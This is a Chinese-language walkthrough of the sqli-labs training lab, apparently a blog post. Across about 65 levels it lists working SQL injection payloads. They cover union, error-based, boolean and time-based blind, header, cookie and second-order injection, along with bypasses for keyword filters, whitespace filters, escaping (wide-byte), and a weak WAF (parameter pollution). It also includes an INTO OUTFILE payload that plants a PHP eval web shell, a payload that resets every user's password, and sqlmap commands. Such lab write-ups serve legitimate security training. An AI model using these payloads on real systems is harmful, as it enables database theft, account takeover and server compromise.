Basic challeges
基础 sql 注入,没有任何的过滤,转义,WAF
less-1 -- (单引号)
这里虽然是数值型注入,但是,php 中为 id 参数套了个单引号,所以这里按字符型注入方式通过,
可以看到,这里输出的还是 id=1 的值,以此判断为数值型,发生了 int 隐式转换
payload:
0' union select null,user(),database() -- -
less-2 --(integer base)
这里就是单纯的数值型注入手法了
payload:
0 union select null, user(), database() -- -
less-3 -- (括号包裹单引号)
爆 users 表 username 和 password
payload:
0') union select null,group_concat(username),group_concat(password) from users -- -
less-4 --(括号包裹双引号)
同 less3,只不过单引号改成了双引号注入
0") union select null,group_concat(username),group_concat(password) from users -- -
less-5 -- (报错注入)-1
这里输入正确没有数据回显,只显示存不存在,但是输入错误的 sql 语句会 sql 格式错误,这里可以使用报错注入
- extractvalue
- updatexml
extractvalue 报错方式
payload:
1' and extractvalue(1,concat(0x7e,database())) -- -
less-6 -- (报错注入)-2
和 less5 的区别是这里使用的是双引号闭合
payload:
1" and updatexml(1,concat(0x7e,database()),1) -- -
less-7 -- (os-shell)
这里属于无回显数据的场景,注入的话,使用布尔盲注即可,也可使用 select into outfile 上传一个 shell
这里使用了 '))
闭合了
0')) union select null,'<?php eval($_POST['cmd']);' into outfile 'D:\\software\\phpstudy_pro\\www\\sqli-labs'
//
less-8 -- (布尔盲注)
less8 禁止了 MySQL 输出报错信息,而输入正确后也不会回显数据,这里可以使用布尔盲注、时间盲注等
手工布尔盲注,由于特别繁琐,这里只爆一个表名(平常无特殊需求,如绕 WAF 等,使用 sqlmap 直接测试就可以了)
先爆表名长度,限制边界
1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6 -- -
表名长度为 6
爆表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 101 -- - | > e
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1)) = 109 -- - | > m
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1)) = 97 -- - | > a
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1)) = 105 -- - | > i
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1)) = 108 -- - | > l
1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1)) = 115 -- - | > s
爆出表名:emails
less-9 -- (时间盲注)-2
less9 的特点就是无论输出的正确与否,输出的信息都一个样的,或者说没有信息回显,那么这里就不能进行布尔盲注了,布尔盲注依赖于正确的有不一样的响应,这里可以时间盲注的方式注入,依靠的是响应时间的延迟
也是爆一个表名,先爆表名长度
表名长度为 8
1' and (length((select table_name from information_schema.tables where table_schema = database() limit 1,1))) = 8 and if(1=1, sleep(5), null) -- -
爆表名
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) = 114) and if(1=1,sleep(3),null) -- - | > r1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1)) = 101) and if(1=1,sleep(3),null) -- - | > e1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1)) = 102) and if(1=1,sleep(3),null) -- - | > f1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)) = 101) and if(1=1,sleep(3),null) -- - | > e1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1)) = 114) and if(1=1,sleep(3),null) -- - | > r1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1)) = 101) and if(1=1,sleep(3),null) -- - | > e1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),7,1)) = 114) and if(1=1,sleep(3),null) -- - | > r1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),8,1)) = 115) and if(1=1,sleep(3),null) -- - | > s
爆表名:referers
less-10 -- (时间盲注)-2
和 less9 一样,区别是使用的双引号闭合,还是使用时间盲注的方式,就不手工测试了,直接上工具
爆数据库所有表名
sqlmap -u http://172.28.96.1/Less-10?id=1 --risk=2 --level=4 --technique="T" --dbms=mysql --dbs
less-11 -- (ErrorBase)-1
这里是一个登录界面,输入一个单引号发现报错了,那么这里可以按照万能密码的方式注入,也可以使用报错注入,联合查询等
payload:
uname=' or 1=1 -- -
进一步:
payload:
uname=' union select user(),database() -- -
less-12 -- (ErrorBase)-2
和 less11 相比,区别是使用的 ")
闭合的,其他和 less11 一样的注入方式
less-13 -- (万能密码或报错注入)
这里和 less11 less12 的区别就是登录成功以后没有了数据回显,使用的还是 ')
闭合,报错没有关闭,可以使用万能密码登录或报错注入或布尔盲注或时间盲注获取信息,这里主要使用报错注入
payload:
uname=') or 1=1-- -
payload:
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) -- -
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) -- -
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) -- -
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1))) -- -
less-14 -- (万能密码或报错注入)
和 less13 一样,区别是 less14 使用的是双引号闭合
less-15 -- (盲注)
这里关闭了报错显示,且输入正确和输入错误的回显不一样,所以能使用布尔盲注或时间盲注
这里就不一一爆破了,简单验证
payload:
uname=' or 1=1 -- -
less-16 --(盲注)
和 less15 一样,区别在于使用的 ")
闭合的
payload:
") or 1=1 -- -
less-17 -- (update 报错注入或重置所有密码)
这里 uname 可能做了一些特殊字符的过滤,但是 passwd 经检验,输入单引号出现报错,说明 passwd 参数未做严格过滤
在正常业务中,重置密码一定重置的是数据库中存在的 username,基于此,less17 的 uname 也是先要查询数据库中是否存在输入 uname,所以这里的 uname 一定写的是数据库中的其中一个 username,否则注入不成功
多种方式注入:
- set password=''可控---重置所有密码(前提:数据库没有设置安全模式 --safe_updates,这种设置会禁止无 where 条件的 update 和 delete 或无 limit 的 update 和 delete)
- 报错函数注入获取信息
- 布尔或时间盲注
先来报错注入:
payload:
passwd=' and extractvalue(1,concat(0x7e,database()))-- -&submit=Submit&uname=admin2
重置所有密码为 123
payload:
passwd=123' -- -&submit=Submit&uname=admin2
....
less-18 -- (header 注入-uagent)
less18 是 header 中的 user-agent 存在注入问题,检验 user-agent:
发现报错
header 头注入本质是 insert 注入,从开发者的角度思考,从 header 中获取信息,一般是为了记录登录信息,登录信息包括客户端登录时的 ip_adress、accept 及客户端类型 user-agent 等
测试:使用报错注入回显
user-Agent:' and extractvalue(1,concat(0x7e,database())),'1','1') -- -
less-19 -- (header 注入-referer)
这里是 header 头的 referer 参数存在注入
使用报错注入
payload:
Referer:' and extractvalue(1, concat(0x7e,database())),'1','1') -- -
less-20 -- (header 注入-cookie)
这里是 header 中的 cookie 存在注入,这里稍稍有些许不同,由于 cookie 是登录凭证,是登录成功以后才会生成的,所以这里需要改的包是登录成功跳转以后的请求包,而不是登录请求包
cookie 中存的是登录成功用户的信息,所以这里不是 insert 注入,而是 select
payload:
Cookie:' and updatexml(1,concat(0x7e,database),1) -- -
Advanced Injections
这里开始加入一些关键字过滤,注释符过滤,空白符过滤,二次注入,弱 WAF,addslashes()或 mysql_real_escape_string 转义等防护
主要学习某些东西被过滤的情况下,是否有替代方案,也就是配合过滤后,sql 仍然可以执行并输出想要的结果
less-21 -- (header 注入-cookie-base64 decode)
这里和 less20 相比多了一步:将 cookie 中 uname 的值先作了 base64 加密,再传入 php 作 base64 解密处理
请求包特征:
测试:
payload:
') and extractvalue(1,concat(0x7e,database())) -- -
将 payloadbase64 加密,传入 cookie: uname=
less-22 -- (header 注入-cookie-base64 decode)
这里和 less21 的区别是 less22 使用的双引号闭合,所以将 less21 payload 单引号换成双引号,再 base64 编码,代入 cookie: uname=中即可
less-23 -- (注释过滤--合法字符截断)
这里查看了源码,源码中使用了 preg_replace()函数过滤 id 参数中出现的 #
和 --
字符,源码如下:
意图是不让进行注释截断操作,而没有过滤其他,比如特殊字符,这里可以使用合法字符截断,如下 payload:
这样可以闭合多出的单引号,而不必考虑注释截断
' union select null,user(),database() from information_schema.tables where table_schema=database() and '1'='1
less-24 -- (二次注入)
这里是一个简单的二次注入的场景,主要有注册、登录用户和重置密码的功能,与这种类似的场景中,如果注册点作了特殊字符的转义,但是重置密码时对作为条件的用户名未作过滤输出,可能会造成二次注入风险
在用户注册时是一个插入操作,比如:注册一个 admin'#的用户
insert into users(username,password) values('admin\'#','123');
服务器对此的特殊字符如单引号作了转义处理,存入了数据库中,数据库中存储的对应的 username 值是 admin'#,这就形成了隐患;
恰好这时存在一个密码重置的功能,对于密码重置这种一般需要认证的功能,会事先进行登录,使用注册的 admin'# 登录,重置的 sql 是一个 update 操作:这里的 username 值读取的是 cookie 中的用户信息
update users set password='hacker' where username='admin'#' and password='123'
可以看到,在未经过滤输出的 admin'#进行了一次拼接,导致重置密码的条件变成了 username='admin',原始密码其实无效了
测试:
注册一个 admin'# 账户:
从源码中可以看到:参数使用的是 php 中的 mysql_escape_string() 函数作的转义
但是转义之后,数据库中存储的是这样的:
使用 admin'# 登录,进行重置密码操作
可以看到,未作输出过滤,导致了 admin 用户密码被修改成了 'hacker'
less-25 -- (and or 过滤--双写绕过)
这里只过滤了 and 、or 字符,但是,mysql 中,&&
||``&
|
等具有相同作用的也可以作为替换or 的,但是这里过滤也把 information_schema 中的 or 给过滤了,对注入带来一定的影响,查看过滤源码:
这里使用的 preg_replace()过滤关键字,但是没有作循环验证,可以双写绕过
测试:
payload:
0' %26%26 extractvalue(1,concat(0x7e,database())) -- - # &&在get参数中需要url编码0' union select null,table_name,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() group by table_name limit 1,1 -- -
less-25a -- (and or 过滤 -- 双写绕过)
这里和 less25 的区别是未添加任何的闭合,且关闭了 mysql 报错
测试:
payload:
0 oorr 1=1
0 union select null,table_schema,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() group by table_schema
less-26 -- (过滤 -- ()代替空格)
less26 的过滤防护:
过滤了
- 关键字 and or
- 注释 /* -- #
- 所有的空白字符,包括空格、制表符(tab
%09
)、换行符(\n
,即%0a
\s - 斜杠 / \
这里使用括号配合报错注入绕过,也就是不使用任何空格
测试:
payload:
0')%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(users)),0x7e))%7c%7c('1
less-26a -- (过滤 -- ()代替空格)
和 less26 的区别是 less26a 关闭了报错,且使用 ('')
闭合
%0a %09 会被过滤掉,在不能使用报错注入的情况下,可以使用()代替,或布尔盲注,时间盲注
测试:
()绕过
payload:
这里其实没有注入成功,使用()替代空格后,最后的
')
没想到办法闭合,之所以写出来,因为如果参数为数值类型不考虑闭合,可绕过
0')union(select(null),(table_schema),group_concat(table_name)from(infoorrmation_schema.tables)where(table_schema=database())) ')
布尔盲注
0')||length(database())=8%26%26('1
less-27 -- (过滤 -- 空格替换-大小写转换绕过)
这里过滤规则如下:
过滤了:
- 所有注释符
- 空格
- 关键字 select、union 以及全大写形式,开头大写形式
绕过思路:
- 这里只过滤的
%0a
或其他空白符绕过 - 随机大小写转换形式,比如 SeLect UnIOn,这是匹配不到的,但是 sql 执行时不区分大小写
测试:
payload:
0'%0auNiOn%0aSeLecT%0anull,table_schema,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand%0a'1'='1
less-27a -- (过滤 -- 同 less27)
与 less27 的区别是,less27a 关闭了报错,并且使用的双引号闭合
测试:
payload:
0"%0auNiOn%0aSeLecT%0anull,table_schema,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand%0a'1'='1
less-28 -- (过滤 -- 空格替换-盲注)
过滤规则如下:
- 三个注释符
- 过滤个体 union\s select,\i 表示不区分大小写,也就是针对的联合查询
这里已经关闭了报错
绕过思路:
%0a
依旧可以替代- 不使用联合查询,使用布尔盲注,时间盲注等
- 使用联合查询,用括号替代,union(select......)
security
测试
盲注
payload
2')%0aand%0alength(database())=8%0a%26%26('1
less-28a -- (过滤 -- ()代替空格)
这个就宽松很多了
测试:
括号代替空格
payload:
0')union(select null,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database())-- -
less-29 -- (弱 WAF -- HTTP 参数污染)
这里是一个弱 WAF,具体分析如下:
通过$_SERVER['QUERY_STRING],获取到参数数组后,会进入函数 java_implimentation()中通过分隔 &
获取 id 参数的值,但是拿到 id 值后就 break 停止获取了,此时拿到的是数组中最开始出现的 id 值;接着由于 php 中超级全局数组的覆盖行为(php 程序:同时存在多个相同 key 的参数时,只获取最后一个),$_GET['id'] 会获取到最后一次出现的 id 值(最后这个 id 值不经过校验,带入了 sql 语句中执行)
接着是一个白名单的判断,判断逻辑:参数值是否是数字,而进入判断的值是最开始出现的 id 值:
绕过:HTTP 参数污染,测试时写两个 id 参数,第一个 id 参数为数字,第二个为注入,简单的说就是:第一个 id 值过白名单,第二个用来注入
测试:
payload:
id=1&id=' union select 1,version(),database() --+
less-30 -- (弱 WAF -- HTTP 参数污染)
和 less29 没多大区别,相比多了个 "
闭合
测试:
payload:
id=1&id= "union select null,@@version,database() -- -
less-31 -- (弱 WAF -- HTTP 参数污染)
这里和 less29 一样,不同是闭合使用的是 ")
测试:
less-32 -- (转义 -- 宽字节注入)
这里从源码中看出,mysql 编码环境使用的是 GBK 编码,GBK 属于宽字节,这里的防护操作是转义(将识别到的特殊字符前面添加反斜杠):
测试:
payload:
%df'union select null,@@version,group_concat(schema_name) from information_schema.schemata -- -
less-33 -- (转义 -- 宽字节注入)
和 less32 一样,不同点是这次使用的是 php 内置的 addslashes,但一样
测试:
less-34 -- (转义 -- 宽字节注入)
和 less32 一样,只不过这次的场景是登录,真实场景中就可能使用万能密码登录了
测试:
payload:
%df' or 1=1 -- - 万能密码
=%df' union select @@version,group_concat(table_name) from information_schema.tables where table_schema=database() -- - 获取数据库信息
less-35 -- (转义 -- 不影响数值型注入)
和 less32 一样,只不过这里的注入点类型是数值型,不需要闭合,也就不会命中转义
测试:
payload:
0 union select null,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() group by table_name limit 2,1 -- -
less-36 -- (转义 -- 宽字节注入)
使用的 mysql_real_escape_string() 函数转义的,和 less32 一样的注入方式
less-37 -- (转义 -- 宽字节注入)
和 less36 一样,只不过场景是登录
Stacked Injections
这里加入了 order by 注入的场景,order by 注入在其他语言如 java 中,遇见的频率会高很多,特别是使用了 mybatis 的时候,是一个关注点。
允许堆叠查询,挺多逻辑上是重复的,不同点基本上是闭合符号的不同吧,还有从黑盒的角度,在不同的场景下确实需要判断注入点使用的闭合符号是什么,这是一个入手点,如果使用 sqlmap 测试的话,也是一个优化点(--prefix=xxx)
less-38~41
查询使用了 mysqli_multi_query(),也就是允许堆叠查询了,但是内容上有些重复了,略
less-42 (任意密码登录)
less42 中 password 字段未做转义,存在注入
测试:
less-43
和 less42 一样,只不过使用的 ')
闭合,
less-44
和 less42 一样,注入点在 login_password,注入方式也一样,略
less-45
和 less43 一样注入,如果没看错的话,重复了
less-46 (order by 注入)
这里参数可以传入 order by 中去排序,若该参数用户输入未经过严格过滤,会导致 order by 注入
order by 可以基于表达式或函数的计算结果进行排序
order by 注入的方式可以是报错注入、盲注、异或注入
验证:
payload: ?sort=IF(1=1,username,id)
测试:
注入
payload:报错注入
?sort=id and extractvalue(1,concat(0x7e,(select concat(username,'-',password) from users limit 2,1)))
payload:布尔盲注
?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 100,id,username)
根据排序结果的不同判断
payload:异或注入
id ^((select version()) regexp '^5.7')
这段意思是正则匹配以 5.7 版本开头的数据库版本,真返回 1,假返回 0,然后异或,拆开就是:
select 5.7.xxx regexp '^5.7' -> 为真,返回1 -> id^1(按照异或的结果排序)
为假时,数字异或0不变
less-47 (order by 注入)
和 less46 的区别是:order by 后的参数使用 '
包裹起来了
测试:
payload:
id' and extractvalue(1,concat(0x7e,database()))-- -
less-48 (order by 注入)
关闭了报错,可以使用盲注
测试
payload:时间盲注
id AND (SELECT 3270 FROM (SELECT(SLEEP(5)))KzSr)-- UZwK
less-49 (order by 注入)
和上面的一样,不同处:使用 '
闭合
测试
payload:时间盲注
id' AND (SELECT 3270 FROM (SELECT(SLEEP(5)))KzSr)-- UZwK
less-50 (order by 注入)
和 less-46 的区别是,less50 允许堆叠查询,其他相同,略
less-51 (order by 注入)
和 less-47 的区别是,less51 允许堆叠查询,其他相同,略
less52 和 less53 分别和 less48,less49 相同,区别就是堆叠查询,略
Challeges
这里可以从黑盒的角度去练习判断符号闭合
less-54
检测注入点:
payload:
id=' or 1=2 -- -
id=' or 1=1 -- -
检测到后,先爆数据库名
payload:
' union select null,@@version,group_concat(schema_name) from information_schema.schemata -- -
获取表名和字段
payload:
' union select null,table_name,group_concat(column_name) from information_schema.columns where table_schema='challenges' group by table_name -- -
获取 secret_FRML(超过 10 次随机变化)的 key
' union select null,null,secret_FRML from 2go3jx06u6 -- -
less-55
检测注入点
这样可能有两种情况
- 一种是 where id=$id
- 一种是 where id=($id)
假设是第二种情况
payload:0 or 1=1 -- -不会输出
确定是第二种情况数字型注入并用括号闭合
payload:
爆表名和字段名
0) union select null,table_name,group_concat(column_name) from information_schema.columns where table_schema='challenges' group by table_name -- -
爆 key
0) union select null,null,secret_IH2C from pflmatpkj6 -- -
less-56
检测注入点
这样有回显,说明这里是 ')
包括的字符型注入
爆表名和字段名
0') union select null,table_name,group_concat(column_name) from information_schema.columns where table_schema='challenges' group by table_name -- -
爆 key
0') union select null,null,secret_VVCR from dc6or473x6 -- -
less-57
检测注入点
说明使用的是 "
闭合的字符型注入
.....
less-58
检测注入点
'
为闭合的字符型注入
这里有点非常规,黑盒测试的时候,联合查询的值为空,查看源码后,发现数据源是非数据库值
联合查询不了,发现这里未关闭报错,使用报错注入爆表名和字段名
payload:
0' and extractvalue(1,concat(0x7e,(select group_concat(table_name,'-',column_name) from information_schema.columns where table_schema='challenges' group by table_name limit 0,1))) -- -
0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' group by table_name limit 0,1))) -- -
爆 key
0' and extractvalue(1,concat(0x7e,(select secret_3SIX from 6v6botpoy5))) -- -
less-59
检测注入
输入 " or 1=1 -- -
,出现如下报错,推断可能为数字型注入
输入 0 or 1=1
,如下:
确定数字型注入
......
报错注入爆 key
0 and extractvalue(1,concat(0x7e,(select secret_82W4 from acrdz81gwb)))
less-60
检测注入
输入 **0" or 1=1 -- -**
时,报错,推测可能有 **)**
包裹或多个 **)**
包裹
输入 0") or 1=1 -- -
,如下:
确定为 ")
包裹的字符型注入
.....
爆 key
0") and extractvalue(1,concat(0x7e,(select secret_WU2J from wdekymndi9))) -- -
less-61
检测注入点:
确定使用的 '))
闭合的字符型注入
爆 key
0')) and extractvalue(1,concat(0x7e,(select secret_7AEF from hj1nodjvz8))) -- -
less-62
检测注入:
盲注
0') or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -
......
less-63
检测注入
使用的'
闭合的字符型注入
这里同样,是盲注
0' or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -
...
less-64
检测注入
盲注:
0)) or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -
.......
less-65
检测注入
盲注:
0") or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -
........
结束!!!!!!!!!!!!!!!!!!!!!!